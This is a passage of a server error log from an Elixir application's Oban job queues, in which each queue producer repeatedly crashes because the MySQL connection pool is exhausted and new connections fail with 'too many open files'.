    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:34:14.242169Z], limit: 5, uuid: "f0bf4284-ce77-4751-acd4-f64c09bff247", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:14.242174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.252650>, refresh_timer: #Reference<0.2525715032.1077411843.252645>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:34:14.241978Z], limit: 20, uuid: "663e2f07-d43a-40d7-becd-deff7b048470", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:14.241982Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16256>, refresh_timer: #Reference<0.2525715032.1068498948.16239>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:28.745000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:28.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:31.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:36.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:34:26.245018Z], limit: 5, uuid: "f9cee716-cbd2-4c15-9c7e-e5ab8f69f4ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:26.245024Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16644>, refresh_timer: #Reference<0.2525715032.1077411843.252730>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:34:26.245202Z], limit: 20, uuid: "a14ea837-8042-4dad-9b72-a2a67be9e7b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:26.245208Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16639>, refresh_timer: #Reference<0.2525715032.1068498948.16605>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:34:26.243883Z], limit: 10, uuid: "9d8d2242-3571-415d-9eda-ca32e557cdc7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:26.243889Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16640>, refresh_timer: #Reference<0.2525715032.1121189889.122952>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:39.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:34:26.242570Z], limit: 5, uuid: "c8a2da0b-fb49-4854-ba97-3b42cb3964f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:26.242576Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16641>, refresh_timer: #Reference<0.2525715032.1121189889.122932>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:39.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:34:26.243867Z], limit: 3, uuid: "057d03af-f797-4f19-a2f3-d8273fc35522", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:26.243872Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16643>, refresh_timer: #Reference<0.2525715032.1121189889.122948>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:39.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:34:26.244024Z], limit: 50, uuid: "a0488aaa-d628-4892-8c79-1d1b81d0c2d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:26.244029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.16642>, refresh_timer: #Reference<0.2525715032.1121189889.122960>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:39.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:40.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:42.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:43.066000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:43.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:44.102000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:44.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
